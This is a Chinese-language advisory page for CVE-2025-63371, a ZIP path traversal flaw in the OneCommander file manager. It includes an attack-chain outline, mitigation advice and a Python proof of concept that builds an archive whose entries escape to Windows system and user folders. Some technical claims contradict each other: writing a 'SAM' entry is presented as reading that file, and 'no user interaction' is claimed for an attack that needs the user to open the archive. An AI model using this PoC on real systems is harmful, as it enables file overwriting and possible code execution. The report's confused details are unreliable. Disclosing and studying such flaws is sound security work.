IPBUF安全漏洞报告
English
CVE-2025-63371 CVSS 7.5 高危

CVE-2025-63371 OneCommander ZIP文件目录遍历漏洞

披露日期: 2025-11-19

漏洞信息

漏洞编号
CVE-2025-63371
漏洞类型
目录遍历
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
OneCommander 3.102.0.0

相关标签

目录遍历ZIP文件处理文件写入路径穿越OneCommanderCVE-2025-63371高危漏洞文件管理器

漏洞概述

CVE-2025-63371是Milos Paripovic开发的OneCommander文件管理器3.102.0.0版本中存在的一个高危目录遍历漏洞。该漏洞位于ZIP文件处理组件中,具体涉及ZIP归档内容的提取和处理功能。由于程序在处理ZIP文件时缺乏对归档内文件路径的充分验证,攻击者可以通过构造包含特殊路径遍历序列(如../)的恶意ZIP文件,使程序在解压时将文件写入目标目录之外的任意位置。此漏洞无需任何认证即可被利用,攻击者可通过网络诱骗用户打开或解压恶意ZIP文件,从而读取目标系统上的敏感文件或在不同位置写入任意文件,可能导致敏感信息泄露或进一步的系统入侵。CVSS评分7.5分,属于高危漏洞。

技术细节

OneCommander 3.102.0.0的ZIP文件处理组件存在目录遍历漏洞。漏洞的根本原因在于程序在解压ZIP归档时,未对归档内文件条目中的文件路径进行充分的验证和安全检查。攻击者可以创建一个包含特殊构造文件名的ZIP归档,这些文件名包含路径遍历序列(如../或..\),使解压后的文件能够被写入到目标解压目录之外的位置。例如,攻击者可以将ZIP内的文件名设置为../../../Windows\System32\config\sam,当用户解压该文件时,敏感系统文件可能被覆盖或写入恶意内容。此漏洞可被利用进行任意文件读取(通过符号链接或覆盖配置文件)或任意文件写入(写入启动项或系统目录),从而实现远程代码执行或权限提升。修复方案应在解压前对所有文件路径进行规范化处理,验证解压后的文件路径是否在预期的目标目录内,拒绝任何路径遍历尝试。

攻击链分析

STEP 1
步骤1
攻击者创建包含恶意文件路径的ZIP归档,路径中使用../序列进行目录遍历
STEP 2
步骤2
攻击者通过钓鱼邮件、恶意网站下载、共享文件夹等方式将恶意ZIP文件传递给目标用户
STEP 3
步骤3
目标用户在OneCommander中打开或解压该ZIP文件
STEP 4
步骤4
OneCommander的ZIP处理组件在解压时未验证路径遍历序列,导致文件被写入目标目录之外的任意位置
STEP 5
步骤5
攻击者可利用写入的恶意文件实现远程代码执行、权限提升或读取系统敏感文件

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-63371 PoC - OneCommander Directory Traversal in ZIP Extraction This PoC demonstrates how a malicious ZIP file can be crafted to exploit the directory traversal vulnerability in OneCommander 3.102.0.0 """ import zipfile import os def create_malicious_zip(output_path): """ Create a malicious ZIP file with directory traversal payloads. The file paths contain '../' sequences to escape the intended extraction directory. """ with zipfile.ZipFile(output_path, 'w', zipfile.ZIP_DEFLATED) as zipf: # Path traversal to write file outside intended directory # This could be used to write to startup folder, system32, etc. malicious_file_path = '../../../Windows/Temp/pwned.txt' zipf.writestr(malicious_file_path, 'Arbitrary file written via directory traversal!') # Another example: attempt to overwrite configuration config_traversal = '../../../AppData/Roaming/OneCommander/malicious_config.txt' zipf.writestr(config_traversal, 'Malicious configuration data') # Read arbitrary file via traversal read_traversal = '../../../Windows/System32/config/SAM' zipf.writestr(read_traversal, 'Attempt to read SAM file') print(f'[+] Malicious ZIP created: {output_path}') print(f'[+] Contains path traversal entries to demonstrate CVE-2025-63371') def verify_zip_contents(zip_path): """Verify the contents of the created ZIP file""" with zipfile.ZipFile(zip_path, 'r') as zipf: print('\n[+] ZIP file contents:') for info in zipf.infolist(): print(f' - {info.filename}') if __name__ == '__main__': output_file = 'CVE-2025-63371_poc.zip' create_malicious_zip(output_file) verify_zip_contents(output_file) print('\n[!] This PoC is for educational and security testing purposes only.') print('[!] Do not use for malicious activities.')

影响范围

OneCommander 3.102.0.0

防御指南

临时缓解措施
在官方修复版本发布之前,避免从不可信来源打开或解压ZIP文件。对来源不明的压缩包保持高度警惕,不要在OneCommander中直接解压来自互联网或邮件附件的ZIP文件。可考虑暂时使用其他文件管理器替代OneCommander处理外部来源的ZIP文件,或在隔离环境中(如沙箱)进行解压操作以降低风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表